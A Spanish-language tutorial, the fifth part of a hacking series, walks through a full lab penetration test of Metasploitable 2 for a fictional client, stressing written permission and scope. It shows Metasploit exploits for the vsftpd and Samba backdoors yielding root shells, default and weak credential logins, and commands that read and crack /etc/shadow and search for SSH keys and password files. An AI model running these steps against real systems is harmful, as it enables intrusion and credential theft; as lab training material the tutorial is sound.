El Camino del Hacker: Serie de 5 Partes

Parte 1: Introducción → Parte 2: Dominio del Flipper → Parte 3: Fundamentos de Kali → Parte 4: Explotación → Parte 5: La Auditoría Completa

Empezaste esta serie preguntándote qué hacen realmente los hackers. Aprendiste que no se trata de capuchas y texto verde. Es resolución metódica de problemas. Has clonado credenciales, mapeado redes, capturado handshakes y obtenido shells en máquinas vulnerables.

Ahora lo unimos todo. Este artículo te guía a través de una prueba de penetración completa contra un objetivo ficticio. Cada fase, cada decisión, cada hallazgo, documentado exactamente como lo haría un profesional.

El Escenario

Cliente: Initech Labs (una pequeña empresa tecnológica ficticia)

Alcance: Prueba de penetración de red interna

Objetivo: Identificar vulnerabilidades y demostrar el impacto potencial en el negocio

Tu objetivo: Tu propia red de laboratorio (Kali + Metasploitable 2 + cualquier otra VM que hayas configurado)

Prepárate un café. Esto va a ser divertido.

Fase 1: Pre-Compromiso

Antes de tocar un teclado, los pentesters profesionales se ocupan del lado comercial. Si te saltas esto, no eres un pentester. Eres simplemente alguien cometiendo delitos.

La Llamada de Alcance

En un compromiso real, tendrías una llamada con el cliente para entender:

¿Qué está dentro del alcance? ¿Qué redes, rangos de IP, aplicaciones?
¿Qué está fuera del alcance? ¿Sistemas de producción? ¿Servicios de terceros?
¿Ventana de pruebas? ¿Cuándo puedes probar? ¿Solo en horario laboral?
¿Puntos de contacto? ¿A quién llamas si algo se rompe?
¿Objetivos? ¿Cumplimiento normativo o mejora real de seguridad?

Para Tu Laboratorio

Alcance: Solo tu red de laboratorio aislada. Fuera de alcance: Todo lo demás en el planeta. Ventana de pruebas: Cuando quieras. Objetivo: Aprender haciendo.

Reglas de Compromiso

Los compromisos reales tienen reglas escritas. Esto es lo que típicamente cubren:

Carta de autorización - Documento firmado que demuestra que tienes permiso
Procedimientos de escalación - Qué hacer si encuentras algo crítico
Manejo de datos - Cómo manejar datos sensibles que encuentres
Requisitos de limpieza - Eliminar todas las herramientas y puertas traseras al terminar
Plazo del informe - ¿Cuándo se entrega el informe final?

Siempre Obtén Permiso por Escrito

Incluso para pruebas "amigables" en la red de un amigo. Un correo firmado diciendo "tienes permiso para probar mi red desde FECHA hasta FECHA" podría ser la diferencia entre una experiencia de aprendizaje y una condena por delito grave. Tómate esto en serio.

Fase 2: Reconocimiento

Es hora de aprender todo sobre el objetivo. En un compromiso real, esto incluiría OSINT (inteligencia de fuentes abiertas): búsquedas en Google, perfiles de LinkedIn, sitios web de la empresa, registros DNS. Para nuestro laboratorio, pasamos directamente al reconocimiento activo.

Paso 1: Descubrimiento de Red

Primera pregunta: ¿Qué hay en esta red?

bash

1# Encuentra tu rango de red
2ip a | grep inet
3# Busca algo como: inet 192.168.56.100/24
4
5# Descubre todos los hosts activos
6sudo nmap -sn 192.168.56.0/24 -oA discovery
7
8# Resultados (ejemplo):
9Nmap scan report for 192.168.56.1
10Host is up (0.00032s latency).
11Nmap scan report for 192.168.56.101
12Host is up (0.00089s latency).
13Nmap scan report for 192.168.56.102
14Host is up (0.00045s latency).

Documenta todo. Crea una nota así:

text

1# Initech Labs - Descubrimiento de Red
2# Fecha: 2026-03-08
3# Tester: Tu Nombre
4
5192.168.56.1   - Gateway/Router
6192.168.56.101 - Desconocido (por investigar)
7192.168.56.102 - Desconocido (por investigar)

Paso 2: Escaneo de Puertos

Ahora profundizamos. ¿Qué servicios están corriendo?

bash

1# Escaneo completo de puertos con detección de servicios
2sudo nmap -sV -sC -p- -oA full_scan 192.168.56.101
3
4# Esto tarda un rato. Para resultados más rápidos durante el aprendizaje:
5sudo nmap -sV -sC --top-ports 1000 -oA quick_scan 192.168.56.101

En Metasploitable 2, verás un tesoro:

text

1PORT     STATE SERVICE     VERSION
221/tcp   open  ftp         vsftpd 2.3.4
322/tcp   open  ssh         OpenSSH 4.7p1
423/tcp   open  telnet      Linux telnetd
525/tcp   open  smtp        Postfix smtpd
680/tcp   open  http        Apache httpd 2.2.8
7139/tcp  open  netbios-ssn Samba smbd 3.X
8445/tcp  open  netbios-ssn Samba smbd 3.X
93306/tcp open  mysql       MySQL 5.0.51a
105432/tcp open  postgresql  PostgreSQL DB
11...

Vaya exposición. Actualicemos nuestras notas:

text

1192.168.56.101 - Servidor Linux (Metasploitable)
2  - FTP (21): vsftpd 2.3.4       # ¡Backdoor conocido!
3  - SSH (22): OpenSSH 4.7p1      # Antiguo
4  - Telnet (23): Activo           # ¿Por qué existe esto en 2026?
5  - HTTP (80): Apache 2.2.8      # Apps web para probar
6  - SMB (139/445): Samba 3.X     # Mina de oro potencial
7  - MySQL (3306): 5.0.51a        # ¿Acceso a base de datos?
8  - PostgreSQL (5432): Activo    # Otra BD

Paso 3: Identificación de Vulnerabilidades

Es hora de ver qué es realmente explotable.

bash

1# Ejecutar scripts de vulnerabilidades
2sudo nmap --script vuln -oA vuln_scan 192.168.56.101
3
4# Verificar servicios específicos en Metasploit
5msfconsole
6msf6 > search vsftpd
7msf6 > search samba 3
8msf6 > search apache 2.2

El backdoor de vsftpd 2.3.4 salta inmediatamente a la vista. Eso es un shell garantizado. Pero un buen pentester no se detiene en el primer hallazgo. Documentas todo.

Sala de servidores con equipos de red parpadeantes — Un reconocimiento exhaustivo mapea toda la superficie de ataque antes de lanzar un solo exploit. Cada puerto abierto y versión de servicio se convierte en un dato de tu evaluación.

Fase 3: Explotación

Aquí es donde las cosas se ponen emocionantes. Tenemos múltiples puntos de entrada potenciales. Trabajemos sistemáticamente con cada uno.

Vector de Ataque 1: Backdoor FTP

bash

1msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
2msf6 exploit(...) > set RHOSTS 192.168.56.101
3msf6 exploit(...) > exploit
4
5[*] Banner: 220 (vsFTPd 2.3.4)
6[*] USER: 331 Please specify the password.
7[+] Backdoor service has been spawned
8[+] Command shell session 1 opened
9
10whoami
11root
12
13id
14uid=0(root) gid=0(root)

Hallazgo documentado: Shell de root obtenido mediante backdoor FTP. Tiempo desde el primer escaneo hasta el compromiso total: aproximadamente 10 minutos.

Shell de root obtenido mediante backdoor FTP. Tiempo desde el primer escaneo hasta el compromiso total: aproximadamente 10 minutos.

Pero no nos detenemos aquí. ¿A qué más podemos acceder?

Vector de Ataque 2: Samba

bash

1# Poner en segundo plano la sesión actual
2background
3
4msf6 > use exploit/multi/samba/usermap_script
5msf6 exploit(...) > set RHOSTS 192.168.56.101
6msf6 exploit(...) > exploit
7
8[*] Command shell session 2 opened
9
10whoami
11root

Otro shell de root a través de un vector diferente. Son dos caminos independientes hacia el compromiso total.

Vector de Ataque 3: Aplicaciones Web

Veamos qué está corriendo en el puerto 80.

bash

1# Enumerar directorios web
2gobuster dir -u http://192.168.56.101 -w /usr/share/wordlists/dirb/common.txt
3
4# Resultados:
5/cgi-bin/     (Status: 403)
6/dav/         (Status: 301)
7/icons/       (Status: 301)
8/index        (Status: 200)
9/phpMyAdmin/  (Status: 301)
10/phpinfo      (Status: 200)
11/test/        (Status: 301)
12/twiki/       (Status: 301)
13
14# Ejecutar nikto para más hallazgos
15nikto -h http://192.168.56.101

¿phpMyAdmin con credenciales por defecto? Comprobemos:

text

1# Probar credenciales comunes
2Username: root
3Password: (vacío)
4
5# ¡Acceso concedido!

Acceso de administrador a la base de datos sin contraseña. Desde aquí, podríamos volcar todos los datos, modificar registros o usar las operaciones de archivos de MySQL para escribir un web shell.

Vector de Ataque 4: Credenciales SSH Débiles

bash

1msf6 > use auxiliary/scanner/ssh/ssh_login
2msf6 auxiliary(...) > set RHOSTS 192.168.56.101
3msf6 auxiliary(...) > set USERNAME msfadmin
4msf6 auxiliary(...) > set PASSWORD msfadmin
5msf6 auxiliary(...) > run
6
7[+] 192.168.56.101:22 - Success: 'msfadmin:msfadmin'

Las credenciales débiles otorgan acceso SSH. No es root, pero nos encargaremos de eso en la post-explotación.

Fase 4: Post-Explotación

Tenemos acceso. ¿Y ahora qué? Una prueba de penetración real demuestra el impacto en el negocio. ¿Qué puede hacer realmente un atacante con este acceso?

Recolección de Credenciales

bash

1# Desde nuestro shell de root
2cat /etc/shadow
3root:$1$xyz...truncated...:14889:0:99999:7:::
4msfadmin:$1$abc...truncated...:14889:0:99999:7:::
5user:$1$def...truncated...:14889:0:99999:7:::
6postgres:$1$ghi...truncated...:14889:0:99999:7:::
7
8# Guardar estos para cracking offline
9cat /etc/passwd > /tmp/passwd.txt
10cat /etc/shadow > /tmp/shadow.txt
11
12# En Kali, crackearlos
13unshadow passwd.txt shadow.txt > combined.txt
14john --wordlist=/usr/share/wordlists/rockyou.txt combined.txt

Reconocimiento de Red (Desde Dentro)

bash

1# ¿A qué otras redes puede llegar esta máquina?
2ifconfig
3route -n
4cat /etc/hosts
5arp -a
6
7# ¿Qué se está conectando a esta máquina?
8netstat -tulpn
9ss -tulpn
10
11# Buscar claves SSH (para movimiento lateral)
12find / -name "id_rsa" 2>/dev/null
13find / -name "authorized_keys" 2>/dev/null

Descubrimiento de Datos Sensibles

bash

1# Buscar archivos interesantes
2find / -name "*.conf" 2>/dev/null | head -20
3find / -name "*.sql" 2>/dev/null
4find / -name "*.bak" 2>/dev/null
5find / -name "*password*" 2>/dev/null
6
7# Verificar ubicaciones comunes de configuración
8cat /var/www/*/config.php 2>/dev/null
9cat /etc/mysql/my.cnf
10
11# Enumeración de base de datos
12mysql -u root -p  # Probar contraseña vacía
13mysql> SHOW DATABASES;
14mysql> SELECT * FROM mysql.user;

Escalación de Privilegios (desde msfadmin)

¿Recuerdas ese login SSH como msfadmin? Escalemos a root usando lo que aprendimos en la Parte 4.

bash

1# SSH como msfadmin
2ssh [email protected]
3
4# Verificar permisos sudo
5sudo -l
6# (La salida varía, pero verifiquemos otros vectores)
7
8# Encontrar binarios SUID
9find / -perm -4000 2>/dev/null
10
11# Buscar scripts escribibles ejecutados por root
12cat /etc/crontab
13
14# Subir y ejecutar LinPEAS para verificación completa
15# (En escenario real, ya cubierto en la Parte 4)

Profesional trabajando en un escritorio con herramientas de ciberseguridad — La post-explotación demuestra el impacto real en el negocio. La diferencia entre un escaneo de vulnerabilidades y una prueba de penetración es demostrar lo que un atacante puede hacer realmente con el acceso.

Fase 5: Documentación y Hallazgos

La prueba es inútil sin un informe. Esto es lo que separa a los profesionales de los script kiddies. Necesitas explicar qué encontraste, por qué importa y cómo solucionarlo.

Resumen de Hallazgos

Esto es lo que encontramos en la red de "Initech Labs", formateado como aparecería en un informe real:

CRÍTICO: Backdoor en Servicio FTP (CVE-2011-2523)